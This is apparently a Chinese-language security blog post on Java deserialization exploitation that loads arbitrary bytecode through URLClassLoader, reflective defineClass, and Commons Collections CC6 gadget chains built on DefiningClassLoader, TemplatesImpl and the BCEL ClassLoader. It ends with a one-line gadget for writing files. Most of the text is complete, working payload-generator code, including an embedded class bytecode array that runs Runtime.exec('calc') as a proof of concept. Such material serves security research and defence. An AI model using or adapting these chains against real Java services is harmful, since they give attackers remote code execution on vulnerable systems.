java发序列化执行任意类的利用

URLClassLoader

出网的条件下可以利用URLClassLoader直接加载字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class Main {

public static void main(String[] args) throws Exception {
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Calc");
Method f = c.getMethod("test");
f.invoke(null, null);
}
}

JNDI

个人感觉用的比较少,网上有这部分的实现。

Defineclass

大多是获取DefineClass的子类

1
2
3
4
5
jxxload_help.PathVFSJavaLoader#loadClassFromBytes
org.python.core.BytecodeLoader1#loadClassFromBytes
sun.org.mozilla.javascript.internal.DefiningClassLoader#defineClass
java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource)
org.mozilla.classfile.DefiningClassLoader#defineClass

defineclass动态加载字节码的用法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package defineclass;

import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Method;


public class DefineClassTest {
public static void main(String[] args) throws Exception{
Method DefineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
DefineClass.setAccessible(true);
FileInputStream Input = new FileInputStream("C:\\Users\\hungry\\Desktop\\tools\\javah\\mmshell\\src\\main\\generate\\Calc.class");
byte[] bs = new byte[Input.available()];
Input.read(bs);
Class evil = (Class) DefineClass.invoke(ClassLoader.getSystemClassLoader(),"Calc", bs, 0, bs.length);
evil.newInstance();
}
}

defineclass结合cc6加载恶意字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package defineclass;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
//import org.mozilla.javascript.DefiningClassLoader;
import sun.org.mozilla.javascript.internal.DefiningClassLoader;//java1.7

public class DefineClassCC6 {
public static void main(String[] args) throws Exception {
//FileInputStream inputFromFile = new FileInputStream("C:\\Users\\hungry\\Desktop\\tools\\javah\\mmshell\\src\\main\\generate\\Calc.class");
byte[] bs = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 35, 10, 0, 7, 0, 22, 10, 0, 23, 0, 24, 8, 0, 25, 10, 0, 23, 0, 26, 7, 0, 27, 7, 0, 28, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 6, 76, 67, 97, 108, 99, 59, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 27, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 67, 97, 108, 99, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 30, 12, 0, 31, 0, 32, 1, 0, 4, 99, 97, 108, 99, 12, 0, 33, 0, 34, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 4, 67, 97, 108, 99, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 2, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 2, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 8, 0, 15, 0, 9, 0, 1, 0, 10, 0, 0, 0, 89, 0, 2, 0, 1, 0, 0, 0, 14, -72, 0, 2, 18, 3, -74, 0, 4, 87, -89, 0, 4, 75, -79, 0, 1, 0, 0, 0, 9, 0, 12, 0, 5, 0, 3, 0, 11, 0, 0, 0, 18, 0, 4, 0, 0, 0, 5, 0, 9, 0, 7, 0, 12, 0, 6, 0, 13, 0, 8, 0, 12, 0, 0, 0, 12, 0, 1, 0, 13, 0, 0, 0, 16, 0, 17, 0, 0, 0, 18, 0, 0, 0, 7, 0, 2, 76, 7, 0, 19, 0, 0, 1, 0, 20, 0, 0, 0, 2, 0, 21};
//byte[] bs = new byte[inputFromFile.available()];
//inputFromFile.read(bs);
//DefiningClassLoader.class.newInstance().defineClass("test.Calc",bs).newInstance();
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"Calc", bs}),
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
}

1

顺带一提报错回显就可以利用这种方式
2

TemplatesImpl

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package templatesimpl;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.jasper.tagplugins.jstl.core.Redirect;


import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Map;


//注意这里需要继承AbstractTranslet
public class TemplatesimplTest extends AbstractTranslet {
/*这部分报错后面再改
public TemplatesimplTest() throws Exception{
String[] calc = new String[]{"calc"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start",String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, calc, null, ".", null, true);
}
*/
public TemplatesimplTest() throws Exception{
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {


}


@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {


}
}

加载恶意字节码实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package templatesimpl;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

public class TemplatesimplCC6 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("C:\\Users\\hungry\\Desktop\\tools\\javah\\mmshell\\target\\test-classes\\templatesimpl\\TemplatesimplTest.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

Becl

参考
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x03-bcelfastjson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package bcel;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BcelCC6 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("C:\\Users\\hungry\\Desktop\\tools\\javah\\mmshell\\src\\main\\generate\\Calc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
String code = "$$BCEL$$"+Utility.encode(bs,true);
System.out.println(code);
// ClassLoader.class.newInstance().loadClass(code).newInstance();
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(ClassLoader.class),
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{code}),
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
}

调用任意类方法写文件

  • cc链
    1
    FileOutputStream.class.getDeclaredConstructor(String.class).newInstance("1.txt").write("qwe".getBytes())
  • AspectJWeaver链